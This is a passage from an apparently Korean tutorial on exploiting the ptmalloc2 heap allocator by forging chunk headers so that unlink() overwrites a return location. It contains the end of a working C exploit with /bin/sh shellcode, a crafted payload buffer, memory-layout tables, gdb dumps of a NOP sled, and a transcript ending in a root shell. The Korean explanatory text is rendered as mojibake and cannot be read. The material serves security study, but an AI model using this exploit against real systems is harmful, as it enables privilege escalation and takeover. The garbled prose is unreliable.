"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char p_pls[200]; int in_t=0; unsigned long t_v=(0xbfffffff-strlen(xp_sh)); char *ent[2]; { ent[0]=(xp_sh); ent[1]=(NULL); } memset((char *)p_pls,0,sizeof(p_pls)); *(long *)&p_pls[in_t]=0x12121212; /* (nextchunk + nextsize)->prev_size */ in_t+=4; *(long *)&p_pls[in_t]=0x82828282; /* (nextchunk + nextsize)->size */ in_t+=4; *(long *)&p_pls[in_t]=0x34343434; /* dummy */ in_t+=4; *(long *)&p_pls[in_t]=0x56565656; /* dummy */ in_t+=4; *(long *)&p_pls[in_t]=0x78787878; /* (nextchunk)->prev_size : dummy */ in_t+=4; *(long *)&p_pls[in_t]=-16; /* (nextchunk)->size */ in_t+=4; *(long *)&p_pls[in_t]=0x080499a4-12; /* (nextchunk)->fd */ in_t+=4; *(long *)&p_pls[in_t]=0xbfffffaa; /* (nextchunk)->bk */ in_t+=4; *(long *)&p_pls[in_t]=0x90909090; /* chunk prev_size */ in_t+=4; *(long *)&p_pls[in_t]=-15; /* chunk size */ in_t+=4; execle("./t","t",p_pls,0,ent); } -- 0x12121212´Â (nextchunk + nextsize)->prev_size·Î ¼³Á¤µÉ À§Ä¡ °ªÀÔ´Ï´Ù. ±× ´ÙÀ½ 0x82828282´Â (nextchunk + nextsize)->size °ªÀÌ µÇ´Âµ¥ ÇÏÀ§ ºñÆ®´Â 0À¸·Î ¸ÂÃß¾î ÁÖ¾ú½À´Ï´Ù. ´ÙÀ½ dummy 8byteÈÄ, -16(0xfffffff0)Àº nextchunkÀÇ size°¡ µË´Ï´Ù. (size & ~((0x1|0x2|0x4))) ´ÙÀ½ µ¤¾î¾º¿öÁú Á¤º¸ fd¿Í bk¸¦ ¼³Á¤ÇÑ ÈÄ, ÇöÀç chunkÀÇ Á¤º¸¸¦ ¼³Á¤ÇÏ¿´½À´Ï´Ù. ¿©±â¼­ ÇöÀç chunkÀÇ prev_size °ªÀº °ø°Ý°ú °ü·Ã¾øÀ¸¹Ç·Î dummy °ªÀ¸·Î ó¸®Çß°í, ´ÙÀ½ chunk size °ªÀº -15(0xfffffff1)·Î ¼³Á¤ÇÏ¿´´Âµ¥ ÀÌ ºÎºÐÀº ¸Å¿ì Áß¿äÇÑ Àǹ̸¦ °¡Áö°í ÀÖ½À´Ï´Ù. ¿ì¼±, ÇÏÀ§ ºñÆ®¸¦ 1·Î ¼³Á¤ÇϹǷνá, prev chunk ÂüÁ¶¿¡ ÀÇÇÑ Ã¹¹øÂ° unlink() º´ÇÕÀ» ¼öÇàÇÏÁö ¾Ê°Ô µË´Ï´Ù. ÇöÀç chunkÀÇ size´Â "size(-15) & ~((0x1|0x2|0x4))" °ø½Ä¿¡ ÀÇÇØ size´Â -16 °ªÀ¸·Î °è»êµË´Ï´Ù. °á±¹ ÂüÁ¶ÇÒ ´ÙÀ½ chunk´Â -16byte¸¦ ÀÌÀüÀ¸·Î ¿Å°ÜÁö¸ç nextsize´Â ¾Õ¼­ ¼³Á¤ÇÑ -16 °ªÀ» ¾ò¾î ¼³Á¤µË´Ï´Ù. (¿¹: ÇöÀç chunkÀÇ À§Ä¡°¡ 0x08049a58À̹ǷÎ, nextchunkÀÇ À§Ä¡´Â -16ÀÎ 0x08049a48ÀÌ µÇ°í, 0x08049a4c°¡ nextchunk size °ªÀÇ À§Ä¡°¡ µÇ´Âµ¥ ÀÌ À§Ä¡ÀÇ °ªÀº -16 °ªÀÌ ¼³Á¤ µÇ¾î ÀÖÀ¸¹Ç·Î, (nextchunk + nextsize(-16))->size °ªÀº 0x08049a3cÀÇ À§Ä¡°¡ µË´Ï´Ù. -- +------------+------------+----------------------------------------+ | ÁÖ ¼Ò | °ª | À§Ä¡ ¼³¸í | +------------+------------+----------------------------------------+ | 0x08049a38 | 0x12121212 | (nextchunk + nextsize)->prev_size | | 0x08049a3c | 0x82828282 | (nextchunk + nextsize)->size | | 0x08049a40 | 0x34343434 | dummy | | 0x08049a44 | 0x56565656 | dummy | | 0x08049a48 | 0x78787878 | (nextchunk)->prev_size : dummy | | 0x08049a4c | 0xfffffff0 | (nextchunk)->size | | 0x08049a50 | 0x08049998 | (nextchunk)->fd : (retloc-12) | | 0x08049a54 | 0xbfffffaa | (nextchunk)->bk : (retaddr) | | 0x08049a58 | 0x90909090 | (chunk)->prev_size | | 0x08049a5c | 0xfffffff1 | (chunk)->size | +------------+------------+----------------------------------------+ 0x08049a48 (nextchunk) - 16 = 0x08049a38 (nextchunk + nextsize À§Ä¡) 0x08049a38 + 4 ((nextchunk + nextsize)->size) = 0x08049a3c -- 0x08049a3cÀÇ À§Ä¡¿¡´Â À§¿¡¼­ ¼³Á¤ÇÑ 0x82828282 ÁÖ¼Ò°ªÀÌ Á¸ÀçÇϰí ÀÖÀ¸¹Ç·Î, ÇÏÀ§ ºñÆ®°¡ 0ÀÎÁö °Ë»ç ½Ã, Á¶°Ç ¹®¹ýÀ» ¼º°øÀûÀ¸·Î ¼öÇàÇÏ°Ô µÇ°í °á±¹ µÎ¹øÂ° unlink() ¸ÅÅ©·Î ÇÔ¼ö¸¦ ¼öÇàÇÏ°Ô µË´Ï´Ù. À̶§, nextchunkÀÇ À§Ä¡´Â 0x08049a48À̹ǷÎ, +------------+------------+----------------------------------------+ | ÁÖ ¼Ò | °ª | À§Ä¡ ¼³¸í | +------------+------------+----------------------------------------+ | 0x08049a48 | 0x78787878 | (nextchunk)->prev_size : dummy | | 0x08049a4c | 0xfffffff0 | (nextchunk)->size | | 0x08049a50 | 0x08049998 | (nextchunk)->fd : (retloc-12) | | 0x08049a54 | 0xbfffffaa | (nextchunk)->bk : (retaddr) | +------------+------------+----------------------------------------+ ¼ø¼­·Î ÀúÀåµË´Ï´Ù. -- (gdb) x/x 0x080499a4 0x80499a4: 0x82828282 (gdb) x/10 0xbfffffff-86 0xbfffffa9: 0x90909000 0x900ceb90 0x90909090 0x90909090 0xbfffffb9: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffffc9: 0x5e1feb90 0x31087689 (gdb) -- ÀÌ °ªµéÀ» Åä´ë·Î µÎ¹øÂ° unlink() ¸ÅÅ©·Î ÇÔ¼ö°¡ ¼öÇàµÇ¸ç, º´ÇÕ °úÁ¤ ÈÄ, »õ·Î¿î ½©ÀÌ ½ÇÇàµÇ´Â °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. -- [root@test ptmalloc2]# ./ex2 sh-2.05b# -- 2. °á ·Ð. ÀÌ¿Í °°Àº mallocÀÇ Á¾·ù¸¸Çصµ ¹«Ã´ ´Ù¾çÇÕ´Ï´Ù¸¸, exploit method°¡ ºÐ¼®µÈ mallocÀº ´Ù¾çÇÏÁö ¸øÇÑ °Í °°½À´Ï´Ù. exploit method´Â ¾ÆÁ÷±îÁö Doug Lea mallocÀÇ exploit ¹æ½ÄÀÌ ÁÖ¸¦ ÀÌ·ç°í ÀÖ°í ´ëºÎºÐ ¹æ¹ý·ÐÀûÀ¸·Î Á¢±ÙÇϱ⠶§¹®¿¡ ½ÇÁ¦ Áß¿äÇÑ ·çƾÀ» ÀØ°Ô µÇ´Â °æ¿ì°¡ ¸¹½À´Ï´Ù. malloc hacking¿¡ ´ëÇØ ¾ÕÀ¸·Îµµ ´Ù¾çÇÑ ¿¬±¸°¡ ÁøÇàµÇ¾úÀ¸¸é ÇÏ´Â ¹ÙÀÔ´Ï´Ù. °¨»çÇÕ´Ï´Ù. 3. Reference. 1. Malloc/Free and GC Implementations: http://www.cs.colorado.edu/~zorn/Malloc.html 2. Wolfram Gloger, ptmalloc2: http://www.malloc.de/ 3. glibc-2.1.2/malloc/malloc.c src code ¿¬±¸ ºÐ¼®: ¾ÆÁ÷ °ø°³ ¾ÈÇÔ.